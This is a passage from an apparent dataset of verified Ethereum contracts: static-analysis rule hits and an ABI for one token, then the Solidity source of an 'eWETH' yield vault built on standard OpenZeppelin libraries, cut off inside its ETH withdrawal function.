"SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 76, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 154, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 172, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 158, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 81, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 105, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 5, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 8, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 9, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 10, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 19, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 28, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 36, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 113, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 126, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 130, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 137, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 144, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 154, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 158, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 165, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 172, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 100, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 101, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"initialSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"burn","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"version","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"unlock","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"},{"name":"_extraData","type":"bytes"}],"name":"approveAndCall","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"locked","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"type":"function"},{"inputs":[],"payable":false,"type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.8+commit.60cc1668 | true | 200 | Default | false | bzzr://794ae929ba218130c2e132bbc295c3c569ba42641aabb754ba4b6fdfeb268c60 |
||||
eWETH | 0x6aab07412c52dff08bfd28938caee6fa2cb53188 | Solidity | pragma solidity ^0.6.6;
// SPDX-License-Identifier: MIT
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IWETH {
function deposit() external payable;
function withdraw(uint256 wad) external;
event Deposit(address indexed dst, uint256 wad);
event Withdrawal(address indexed src, uint256 wad);
}
interface IController {
function withdraw(address, uint256) external;
function balanceOf(address) external view returns (uint256);
function earn(address, uint256) external;
function want(address) external view returns (address);
function rewards() external view returns (address);
function vaults(address) external view returns (address);
function strategies(address) external view returns (address);
}
contract eWETH is ERC20 {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IERC20 public token;
uint256 public min = 9990;
uint256 public constant max = 10000;
address public governance;
address public controller;
constructor(address _token, address _controller)
public
ERC20(
string(abi.encodePacked("edda ", ERC20(_token).name())),
string(abi.encodePacked("e", ERC20(_token).symbol()))
)
{
_setupDecimals(ERC20(_token).decimals());
token = IERC20(_token);
governance = msg.sender;
controller = _controller;
}
function balance() public view returns (uint256) {
return token.balanceOf(address(this)).add(IController(controller).balanceOf(address(token)));
}
function setMin(uint256 _min) external {
require(msg.sender == governance, "!governance");
min = _min;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setController(address _controller) public {
require(msg.sender == governance, "!governance");
controller = _controller;
}
// Custom logic in here for how much the vault allows to be borrowed
// Sets minimum required on-hand to keep small withdrawals cheap
function available() public view returns (uint256) {
return token.balanceOf(address(this)).mul(min).div(max);
}
function earn() public {
uint256 _bal = available();
token.safeTransfer(controller, _bal);
IController(controller).earn(address(token), _bal);
}
function depositAll() external {
deposit(token.balanceOf(msg.sender));
}
function deposit(uint256 _amount) public {
uint256 _pool = balance();
uint256 _before = token.balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(this), _amount);
uint256 _after = token.balanceOf(address(this));
_amount = _after.sub(_before); // Additional check for deflationary tokens
uint256 shares = 0;
if (totalSupply() == 0 || _pool == 0) {
shares = _amount;
} else {
shares = (_amount.mul(totalSupply())).div(_pool);
}
_mint(msg.sender, shares);
}
function depositETH() public payable {
uint256 _pool = balance();
uint256 _before = token.balanceOf(address(this));
uint256 _amount = msg.value;
IWETH(address(token)).deposit{value: (_amount)}();
uint256 _after = token.balanceOf(address(this));
_amount = _after.sub(_before); // Additional check for deflationary tokens
uint256 shares = 0;
if (totalSupply() == 0 || _pool == 0) {
shares = _amount;
} else {
shares = (_amount.mul(totalSupply())).div(_pool);
}
_mint(msg.sender, shares);
}
function withdrawAll() external {
withdraw(balanceOf(msg.sender));
}
function withdrawAllETH() external {
withdrawETH(balanceOf(msg.sender));
}
// Used to swap any borrowed reserve over the debt limit to liquidate to 'token'
function harvest(address reserve, uint256 amount) external {
require(msg.sender == controller, "!controller");
require(reserve != address(token), "token");
IERC20(reserve).safeTransfer(controller, amount);
}
// No rebalance implementation for lower fees and faster swaps
function withdraw(uint256 _shares) public {
uint256 r;
if (totalSupply() > 0) {
r = (balance().mul(_shares)).div(totalSupply());
}
_burn(msg.sender, _shares);
// Check balance
uint256 b = token.balanceOf(address(this));
if (b < r) {
uint256 _withdraw = r.sub(b);
IController(controller).withdraw(address(token), _withdraw);
uint256 _after = token.balanceOf(address(this));
uint256 _diff = _after.sub(b);
if (_diff < _withdraw) {
r = b.add(_diff);
}
}
token.safeTransfer(msg.sender, r);
}
// No rebalance implementation for lower fees and faster swaps
function withdrawETH(uint256 _shares) public {
uint256 r;
if (totalSupply() > 0) {
r = (balance().mul(_shares)).div(totalSupply());
}
